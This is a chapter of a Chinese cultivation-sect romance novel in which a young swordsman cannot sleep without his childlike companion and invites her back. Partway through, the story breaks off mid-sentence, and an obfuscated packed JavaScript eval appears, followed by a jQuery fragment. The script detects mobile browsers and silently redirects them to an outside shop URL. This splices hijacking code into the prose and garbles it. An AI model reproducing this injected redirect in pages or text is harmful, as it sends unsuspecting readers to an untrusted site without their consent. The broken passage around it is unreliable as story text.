夜色深沉,屋内的烛火早就熄灭。
宋亦行躺在榻上,周遭安静得有些吓人。
他原以为赶走了江舟涣,自己夜里终于可以睡个踏实觉,不必担心她何时会越过那道界限。
可事实证明,他错了。
往日有江舟涣闹腾的声音和低低的鼾声,他总嫌吵。
而今日,江舟涣回了自己院内,没了她的吵闹,屋内静谧无声,这正是他想要的。
可屋子里静了,他却没了睡意,耐着性子将眼睛闭上,刻意放缓呼吸,试图酝酿出一丝睡意。
估摸着过了一炷香的时间,脑中依旧异常清醒,没有半点困意,宋亦行眉头微微拧起。
往日里只需闭眼便能进入梦乡,今日这是怎的,脑中还莫名浮现江舟涣的身影。
他晃晃脑袋,有些烦躁地轻抿薄唇,再次尝试入眠。
又是一炷香时间过去,宋亦行无奈睁开眼,他下意识偏头看向旁侧,那头空荡荡,床单叠得整齐。
宋亦行仰头望向房梁,心想,不会是因为这个小娃娃不在身边,自己才睡不着吧。
这个念头刚冒出来,宋亦行身子微微僵住,耳尖染上红晕,不过心底很快否定了这个想法。
这怎么可能。
他乃修道之人,怎会被一个天天就知道吃喝,傻里傻气的小娃娃影响心绪?
不过是周围突然安静,一时不太适应罢了。
宋亦行自我安慰,强行压下心底那点怪异,再次闭眼。
可长夜漫漫,直至天际泛起微微鱼肚白,他依旧一夜无眠。
本以为只是偶然一次的不适,熬过一夜便会恢复如常。
可往后的第二日、第三日,日日皆是如此。
不论白日修行得多么疲惫,每当夜幕降临,他躺上床榻,就顿时睡意全无
不过短短数日,宋亦行眼下便青黑一片,在他白皙的面庞上显得异常明显。
就连一些不敢睁眼看宋亦行的师姐师兄都察觉到了异常,他们忍不住偷偷讨论,想知道宋师弟这些时日干什么去了,一副精神憔悴的模样。
有人忍不住道:“还能因为什么,宗门大比来了。他定是为了稳住第一的名头。”
一旁的萧然听见这番话,他不禁嗤笑,拿剑的手慢慢握紧,目光陡然变得狠厉。
第一?这次不会让他得逞了。
他原是归云宗的天才,事事都能得第一,可自从宋亦行来了宗门,这件事就变了。
他处处被宋亦行压一头,成了宗门内万年的老二。
为了夺回第一的名头,他这三年日日苦修,就为了在宗门大比上打败宋亦行。
如今他为了保住第一的名头,竟连觉都不睡了,萧然眸色沉了沉,谅你不睡觉也没用,临时抱佛脚怎的比得过他三年日日早起修行。
许归笙也察觉了,往日里他虽不爱说话,可脊背总是挺得笔直。这几日来,他连维持最基本的人性都困难,做事总是心有余而力不足。
这日午后,许归笙目光落在宋亦行脸上,眉头瞬间紧蹙。
她几步走至他身前,细细打量,宋亦行满脸憔悴,眼底青黑一片,她担忧道:“亦行,你今日是怎的了?”
自己这个小师弟平日里作息最是规律,从未出现过这种状况,可是遇见什么事了?
宋亦行摇摇头,不愿多说,他实在是没脸说出是因为江舟涣不在身边他才睡不着。
他摆摆手,转身就准备走,语气冷冷道:“无妨。”
许归笙叹了口气,小师弟性子别扭固执,他不愿说的东西,那边是用尽办法他也不会说。
见宋亦行要走,许归笙也不便再三追问,递给宋亦行一枚药包:“养神的,莫累坏身子。”
*
小屋另一边,江舟涣将宋亦行给的松塔白檀香点燃。
白烟袅袅,沉稳的木头香气很快飘出来,将房间各处填满,她低头嗅了嗅,是哥哥身上的味道。
江舟涣把小被盖好,缩进柔软的被子内,闭上眼睛,准备美美进入梦乡。
身侧各处都是宋亦行身上的味道,可江舟涣还是感觉少了点什么,具体是什么,她也说不上来。
她闭上眼睛哼唧几声,来回翻身,折腾了许久,虽然感觉少了什么,但她还是勉强睡了过去。
宋亦行被折磨了好几日,实在是没辙,光靠闭眼完全睡不着。
困得不行,可脑中异常清醒,他只能靠着施展咒法,将自己弄晕,才能勉强小睡一会儿。
借助咒法得来的睡眠,终究是镜花水月,治标不治本。
夜里他睡得不安稳,半夜频频惊醒,醒来之后不仅没有半分舒畅,反而头昏脑涨,整个人愈发憔悴。
宋亦行心里清清楚楚明白,再这样下去不行。
施法入睡,会损耗自身修为,扰乱神魂根基,长此以往,必会伤及道心。
再有一天夜里,宋亦行从床榻上翻身而起,来到江舟涣门前。
轻声敲响门,另一只藏在袖口的手慢慢握紧,他喉结上下滚动,有些紧张。
江舟涣鞋还穿好,哒哒哒地推开院门,看清来的人是宋亦行,她仰头笑:“哥哥。”
进了屋内,宋亦行满脸不自在,他别过脸不看江舟涣,耳尖染上绯红:“你屋里……,冷不冷。”
话说完,宋亦行就后悔了。
当初,人是他亲自赶走的,如今还要亲自来将她请回去。
不知江舟涣听了会不会笑唤。
夜里凉爽,盖上小被子刚刚好,怎么会冷呢?
江舟涣不解,摇头回:“不冷。”
宋亦行的话头被止住,他耳尖滚烫,又问:“你夜里睡得怎样?”
江舟涣认真回:“有哥哥给的香,睡得舒服。”
话又被止住了,宋亦行紧紧抿住双唇,可他终究开不了那个口,说出我没你睡不着的话。
于是他又说:“你香用完了怎么办?”
是哦,这个问题问倒江舟涣了,香烧完,屋子里就没有哥哥身上的味道了。
江舟涣咬着食指认真想了会儿道:“没有了,那哥哥再给我呀。”
…………宋亦行呼吸一滞,他忘了傻娃娃听不懂人话。
江舟涣依旧歪着脑袋看着他,哥哥今天怎的这般奇怪?
宋亦行闭上眼睛,心一横道:“我的意思是……。”
话到嘴边,却卡住了。藏在发丝下的耳尖变得通红,连带着脖颈也开始泛红。
江舟涣歪脑袋探究:“什么?”
宋亦行轻咳一声,怕被江舟涣看到自己通红的耳尖,干脆偏过头去看墙角,不敢看。
口中的声音也越来越小,小到几乎听不见:“夜里要是……要是睡不着,可以,来我屋里睡。”
“我可没有想你来的意思,若是不愿便算了。”
宋亦行连忙解释。
江舟涣听不懂宋亦行的弯弯绕绕,她的耳中就听到了那几个字:来我屋里睡。
又可以跟哥哥睡一块,江舟涣的眼睛顿时冒出亮光:“哥哥你等我。”
边说边蹦跶着小短腿跑进屋内,生怕宋亦行反悔似的。
待江舟涣跑远,宋亦行紧绷的身子才慢慢放松下来。
因为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17961394|213410||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
睡不着来求她,实在是太丢人了,还好她没看出自己真实的意图,正想着,身后被人轻轻碰了一下。
一转头,映入眼帘的是紧紧抱着小被子的江舟涣,她额前的刘海因为狂跑稍稍有些乱。
她靠近宋亦行疑惑:“哥哥你的脸怎么是红色的。”
宋亦行微微愣了下:“才没有,猪眼睛能看出什么。”说罢转身就走,步子迈得飞快。
宋亦行腿长,几步就走出去老远,江舟涣扑腾着小短腿,呐喊:“哥哥等等我。”
“麻烦。”
他皱眉嫌弃,迈步子的速度还是慢了下来。
回到屋内,江舟涣轻车熟路地爬上床榻,宋亦行照例把被子搁在两人中间:“超过这条线我把你丢出去。”
“嗯嗯。”江舟涣缩进被子里,小脑袋认真点着。
灯灭了,没一会儿江舟涣便沉沉睡去。
宋亦行睁眼看着房梁,耳畔萦绕着江舟涣发出的轻鼾声。
他偏头看向旁侧,江舟涣侧躺着。小嘴微微嘟起,正睡得认真。
几日不见,他居然觉得她没了那么烦了,看着居然有些……可爱。
宋亦行连忙摇摇头,自己一定是太久没睡产生幻觉了。
猪怎么会可爱。
他没忍住打了个哈欠,眼皮愈来愈重,睡意竟生了出来。
闭上眼睛,沉入梦乡。
*
宗门大比在三日之后,这可是归云宗一等一的大日子,事事都要准备妥当。
许归笙的传音符飘到宋亦行院里时,他正在练剑。
宋亦行两指夹住传音符,纵身跃出院门,快步掠到正殿。
到殿内时,许归笙正在仔细检查竹签。
宋亦行:“师姐。”
许归笙将头抬起,宋亦行今日瞧着气色比前几日好了很多,连带着眼角的乌青也散了大半。
她嘴角勾起,柔声笑着:“这般就很好。宗门大比固然重要,但身子最重要。”
宋亦行细细感受身上的变化,这倒是提醒他了。
今日起来时神清气爽,没有跟之前一般会头痛精神不济,他才有兴致在院内舞剑。
他连连点头应是,没敢告诉师姐,这一切都是因为江舟涣。
“今日唤你来,是想询问下,你觉得今年大比是跟往年一般,还是要改革一番?”
往日大比是将弟子们名字丢到大竹筒内,通过抽取竹签抽取对手。
全靠运气,运气不好时,宗门倒数第一能抽到对战宋亦行。
许归笙问这话的意思便是想询问今年大比宋亦行要不要参加。
宋亦行实力超群,五岁时,便将满宗杀个片甲不留。
往年那些弟子本就害怕与抽到与宋亦行对战,如今多了个江舟涣,更是难上加难。
若是抽到这两人,那便是出师未捷身先死,纵使有实力与内门其他弟子对决,但遇到他们便只能进入决赛圈。
决赛圈要与外门胜出的弟子一同决战,胜出的两名才可入内宗,倒数两位便剔除内门。
因而人人都害怕进入决赛圈,毕竟谁也不能保证不会遇见天才。
宋亦行思索片刻道:“那便按批次来。按照平时实力的排行,实力相当的一批人进行对决。”
“一批人当中胜出的那一个弟子,再进行最好的对决。”
最终胜出的两名便可入内门,很公平公正。
许归笙擦拭竹筒的手微微顿住,她拧眉轻想了会儿,而后舒展笑颜点头。
这确是个好办法,高手与高手对决,弱者之间对决,能筛出最弱的两个人。